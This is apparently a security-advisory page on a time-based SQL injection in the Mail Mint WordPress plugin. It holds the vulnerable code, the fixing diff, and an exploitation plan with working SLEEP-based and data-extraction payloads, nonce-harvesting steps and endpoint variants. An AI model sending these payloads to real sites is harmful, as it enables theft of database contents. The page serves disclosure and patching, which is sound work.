Mail Mint <= 1.24.2 - Authenticated (Administrator+) SQL Injection via 'contact_ids' Parameter
Description
The Mail Mint – Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to time-based SQL Injection via the 'contact_ids' parameter in all versions up to, and including, 1.24.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.24.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-14342 ## 1. Vulnerability Summary The **Mail Mint** plugin (versions <= 1.24.2) is vulnerable to an **authenticated (Administrator+) time-based SQL Injection** via the `contact_ids` parameter. The vulnerability exists because the plugin fails to sanitize or p…
Show full research plan
Exploitation Research Plan - CVE-2026-14342
1. Vulnerability Summary
The Mail Mint plugin (versions <= 1.24.2) is vulnerable to an **authenticated (Administrator+) time-based SQL Injection** via the contact_ids parameter. The vulnerability exists because the plugin fails to sanitize or properly prepare SQL queries when performing bulk operations (likely deletion or status updates) on contact records. Specifically, the contact_ids parameter is directly interpolated into an IN clause or a similar SQL structure without using $wpdb->prepare() or casting the values to integers.
2. Attack Vector Analysis
- Endpoint: WordPress REST API endpoint for contact management. Based on the namespace
Mint\MRM\Admin\API\Controllers, the likely endpoint is/wp-json/mail-mint/v1/admin/contacts. - Action/Method:
DELETEorPOST(often using_method=DELETEor a bulk action parameter). - Vulnerable Parameter:
contact_ids. - Authentication: Required. The attacker must have Administrator privileges (or any role with access to Mail Mint's admin interface).
- Payload Type: Time-based blind SQL injection (e.g.,
SLEEP()).
3. Code Flow
- Entry Point: An administrator sends a request to the REST API to delete or modify multiple contacts.
- Controller:
Mint\MRM\Admin\API\Controllers\ContactControllerreceives the request. - Trait/Method: The controller uses
CrudControllerTrait. This trait likely implements a method likebulk_delete()ordelete_ids(). - Parameter Extraction: The code retrieves
contact_idsfrom the request. - Repository/Model: The controller passes these IDs to
ContactRepositoryorContactModel. - The Sink: Inside the repository or model, the code constructs a query similar to:
If// Inferred Vulnerable Logic $ids = $request['contact_ids']; // May be a comma-separated string or array $wpdb->query("DELETE FROM {$wpdb->prefix}mrm_contacts WHERE id IN ($ids)");$idsis an array and the code performsimplode(',', $ids)without integer validation, injection occurs.
4. Nonce Acquisition Strategy
Since this vulnerability requires Administrator access, the attacker must already be authenticated. In a real-world scenario, the wp_rest nonce is required to interact with the REST API.
Strategy for Automated Agent:
- Login: The agent should authenticate as an Administrator.
- Setup Page: Create a temporary page or use the Mail Mint admin dashboard.
- Extract Nonce:
- Navigate to
/wp-admin/admin.php?page=mail-mint. - Use
browser_evalto extract the REST nonce from the WordPress global objects or localized scripts. Mail Mint likely localizes this in a variable likegetmm_block_object(fromMintFormBlock.php) or a similar admin-side variable. - Actionable JS:
browser_eval("wpApiSettings.nonce")orbrowser_eval("getmm_block_object.nonce").
- Navigate to
5. Exploitation Strategy
We will use a time-based payload to confirm the injection.
Step 1: Confirm Injection
Send a request with a SLEEP command embedded in the contact_ids parameter.
- Tool:
http_request - Method:
DELETE(orPOSTif the API prefers bulk actions via POST) - URL:
/wp-json/mail-mint/v1/admin/contacts - Headers:
X-WP-Nonce: [Extracted Nonce]Content-Type:application/json
- Payload (JSON):
Note: If the API expects an array, use:{ "contact_ids": "1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" }{"contact_ids": ["1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -"]}
Step 2: Data Extraction (Proof of Concept)
Extract the first character of the database version.
- Payload:
1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)-- -
6. Test Data Setup
To ensure the query reaches the vulnerable sink, at least one contact should exist.
- Create Contact: Use WP-CLI to ensure the table has data.
(Note: Use the specific Mail Mint CLI command if available, or manually insert viawp mail-mint contact create --email="victim@example.com" --first_name="Test"$wpdb->insertin awp evalscript). - Verify Admin User: Ensure an administrator user exists for session generation.
7. Expected Results
- Vulnerable Response: The HTTP request should hang for exactly the number of seconds specified in the
SLEEP()function (e.g., 5 seconds) before returning a response. - Normal Response: A request with a standard ID (e.g.,
contact_ids=1) should return immediately (ms range).
8. Verification Steps
After the exploit, verify that no unintended side effects occurred (though this is a read-only or delete-based injection).
- Check the
mail_mint_contactstable (exact table name fromContactSchema::$table_name) to see if the record with ID 1 still exists.wp db query "SELECT COUNT(*) FROM wp_mrm_contacts WHERE id = 1"
9. Alternative Approaches
If the REST API endpoint differs, investigate the following:
- AJAX: Check for
wp_ajax_mrm_bulk_delete_contacts. - Parameter format: The
contact_idsmight be expected as a query string parameter instead of a JSON body:DELETE /wp-json/mail-mint/v1/admin/contacts?contact_ids=1) AND SLEEP(5)-- - - Action String: If
contact_idsis used in an export or tag-assignment feature, the endpoint might be/wp-json/mail-mint/v1/admin/contacts/export.
Summary
The Mail Mint plugin for WordPress is vulnerable to authenticated time-based SQL Injection via the 'contact_ids' parameter in versions up to 1.24.2. This vulnerability allows administrator-level attackers to execute arbitrary SQL commands by injecting malicious payloads into bulk contact status update queries, which are improperly handled by the database preparation logic.
Vulnerable Code
// app/API/Controllers/Admin/ContactController.php around line 1049 $contact_ids = isset( $params['contact_ids'] ) ? $params['contact_ids'] : array(); --- // app/Database/models/ContactModel.php around line 1157 // Convert the IDs array into a comma-separated string. $ids_str = implode( ',', $contact_ids ); $update_query = $wpdb->prepare( "UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_str)", $status ); //phpcs:ignore
Security Fix
@@ -1046,7 +1046,7 @@ $params = filter_var_array( $params ); // Extract contact IDs and status from the filtered parameters. - $contact_ids = isset( $params['contact_ids'] ) ? $params['contact_ids'] : array(); + $contact_ids = isset( $params['contact_ids'] ) ? array_filter( array_map( 'absint', (array) $params['contact_ids'] ) ) : array(); $status = isset( $params['status'] ) ? $params['status'] : 'pending'; // Check if contact IDs are empty. @@ -1154,9 +1154,15 @@ global $wpdb; $contacts_table = $wpdb->prefix . ContactSchema::$table_name; - // Convert the IDs array into a comma-separated string. - $ids_str = implode( ',', $contact_ids ); - $update_query = $wpdb->prepare( "UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_str)", $status ); //phpcs:ignore + // Sanitize the IDs to integers to prevent SQL injection. + $contact_ids = array_filter( array_map( 'absint', (array) $contact_ids ) ); + if ( empty( $contact_ids ) ) { + return false; + } + + // Build a placeholder list and bind every value through prepare(). + $ids_placeholder = implode( ',', array_fill( 0, count( $contact_ids ), '%d' ) ); + $update_query = $wpdb->prepare( "UPDATE {$contacts_table} SET status = %s WHERE id IN ($ids_placeholder)", array_merge( array( $status ), $contact_ids ) ); //phpcs:ignore return $wpdb->query( $update_query ); //phpcs:ignore }
Exploit Outline
The exploit is a time-based blind SQL injection targeting the plugin's REST API. An attacker with Administrator privileges first obtains a valid 'wp_rest' nonce from the admin interface. They then submit a POST request to the contact management endpoint (e.g., /wp-json/mail-mint/v1/admin/contacts) containing a 'contact_ids' parameter. By supplying a payload such as '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -', the attacker triggers an execution delay in the database query. This delay confirms the injection, which can then be leveraged to extract sensitive information from the WordPress database letter by letter using conditional time delays.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.